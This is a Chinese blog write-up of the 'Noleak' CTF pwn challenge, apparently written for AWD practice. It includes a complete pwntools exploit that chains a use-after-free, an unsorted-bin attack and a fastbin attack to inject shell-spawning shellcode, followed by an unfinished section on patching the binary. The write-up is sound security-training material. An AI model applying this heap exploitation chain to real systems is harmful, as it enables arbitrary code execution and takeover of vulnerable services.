menu 牢记自己是菜
攻防世界--Noleak 攻击:UAF+unsortedbin+shellcode 修复:UAF+任意读写
506 浏览 | 2020-12-04 | 阅读时间: 约 4 分钟 | 分类: AWD,PWn | 标签:
请注意,本文编写于 1241 天前,最后修改于 476 天前,其中某些信息可能已经过时。

0x1 前言

CUMT2020新生赛的复现已经告一段落了,继续回归ADword的pwn题,遵循能做就做,不能做就复现的原则加速自己的学习速度,练习基础的攻击。争取可以发现所有程序漏洞,更好的完成修复工作。主要还是以exp+修复的形式进行练习。

0x2 题目分析

Noleak如同名字所说,本题没有show函数,没有泄露,所以大多数的方法是不适用的。我们先观察整个程序的漏洞,不看不知道,一看头嗡的一下就大了,简直是千疮百孔(只有两个漏洞)。

首先就是free中,只释放了堆的内容,保留了指针,这是个uaf漏洞。

然后就是修改函数中的任意写漏洞,没有检查输入的长度,直接造成了堆溢出。

本题got表不可写,但没有开启NX保护,这意味着我们可以在可执行段注入shellcode。但是由于没有show函数,没法泄露libc基址,是没有办法构造rop链的。经过了仔细地思考,调试,我发现,嗯!我的知识盲区,我选择复现解法。主要是在往malloc_hook上写地址地时候卡住了,因为没有办法泄露libc,通过题解发现其实是可以使用UAF的。

0x3 Noleak

老规矩我们先放上exp,看看整个程序执行的流程:

from pwn import *
context.update(arch='amd64', log_level='debug')

p = process('./timu')
#p = remote('111.198.29.45', 46917)
l = ELF('./libc-2.23.so')
e = ELF('./timu')

def new(size, data):
    p.sendlineafter('choice :', '1')
    p.sendlineafter('Size', str(size))
    p.sendafter('Data', str(data))

def delete(idx):
    p.sendlineafter('choice :', '2')
    p.sendlineafter('Index', str(idx))

def update(idx, size, data):
    p.sendlineafter('choice :', '3')
    p.sendlineafter('Index', str(idx))
    p.sendlineafter('Size', str(size))
    p.sendafter('Data', str(data))


if __name__ == '__main__':
    new(0x80, '\n')
    new(0x60, '\n')
    new(0x10, '\n')
    #gdb.attach(p)
    delete(0)
    update(0, 0x10, p64(0)+p64(0x601060))
    new(0x80, 'aaa')#not buf
    delete(1)
    update(1, 8, p64(0x60106d))
    gdb.attach(p)
    new(0x60, 'cccc')
    new(0x60, '\x00'*3+p64(0x601070)+p64(0x601040))
    update(8, 1, '\x10')
    update(6, 8, p64(0x601040))
    update(9, 256, asm(shellcraft.amd64.sh()))
    p.sendlineafter('choice :', '1')
    p.sendlineafter('Size', '1')
    p.interactive()

本题需要使用的知识点主要是unsortedbin与fastbinattack。由于我们无法直接泄露malloc_hook的地址只能间接的使用没有释放的指针进行操作。

首先我们申请一个大堆,这个堆被释放后会进入unsortedbin。然后释放它,此时因为unsortedbin中只有一个闲置堆,所以他的指针指向自己。由于我们在free时并没有清空指针造成了UAF,所以在释放后,我们依然可以使用编辑操作,对这个堆进行更改。我们将fd=0,bk=0x601060。此时操作系统就会误以为我们的unsortedbin中有两块不连续的堆块。然后重新分配0号堆,系统就会将main_arena的地址挤到了0x601060下方。

由于0x601040处存放的是我们的指针,此时就相当于我们拥有了一个地址在0x7f6ac5064b78的6号堆块。等会只需要将低两位更改为10就可以直接在malloc_hook处进行编辑了。(因为虽然程序开启了地址随机化,但是低两位的偏移是不会发生改变的)

new(0x80, '\n')
new(0x60, '\n')
new(0x10, '\n')
#gdb.attach(p)
delete(0)
update(0, 0x10, p64(0)+p64(0x601060))
new(0x80, 'aaa')#not buf

之后就是shellcode的问题了,这里我们使用fastbinattack。我们首先要伪造一个fastbin空闲的链条,使得我们的堆可以被分配到bss段中。我们先正常释放我们的fastbin。

之后修改我们的指针,将一个假的fastbin接到链条上。

此时我们只要将fastbin分配再分配出去即可。这里有一个小知识点,就是fastbin的的检测机制。他每次他分配的时候,会检测堆块的size,假若size不匹配,会中断程序。所以我们要绕过检测机制,必须要保证size位为0x7@(@为任意值)才可以通过校验。所以我们的地址选择了0x60106d。之后我们控制了整块buf的地址,我们可以实现任意地址写了。

注入shellcode,控制程序跳转即可。

0x4 程序修复

首先我们来修复uaf,我们需要让程序在free的时候顺带把表中的指针也释放掉。我们依然使用eh_frame段,修复很简单,只需要将标志位置零即可。

之后来看比较恶心的堆溢出修复,这个程序的这个地方我没有很完美的修好,但是肯定是解决了大部分问题,这里之后细说。

这个修复与PWN5的还有点不一样,PWN5他用拥有很棒的数据结构,他在每次输入之后,都将堆块的大小保存在了bss段。但是这个程序比较的恶心,他没有任何地方储存了堆块大小。所以我们需要修复要分为两步:

  1. 在add处加入计数,,每次必须记录堆块的大小
  2. 在edit处读取比较

这里就比较难受了,因为eh_frame段只有执行权限,并没有读写权限。所以我们不得不找另一段空间开辟数组。bss段显然是不可能的,bss段只有存放指针的地方,被塞的满满的。最后我只在data段找到了一个不知道有啥用的空间,但是这个空间只有8字节,意味着我们并不能保存10个数据。

但是我确实没想到还有啥地方可以保存,我就先这么修了,之后研究研究能不能更改程序的权限。之后如果解决了,我会回头再补上这个地方。

我们按这个逻辑修复漏洞:

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!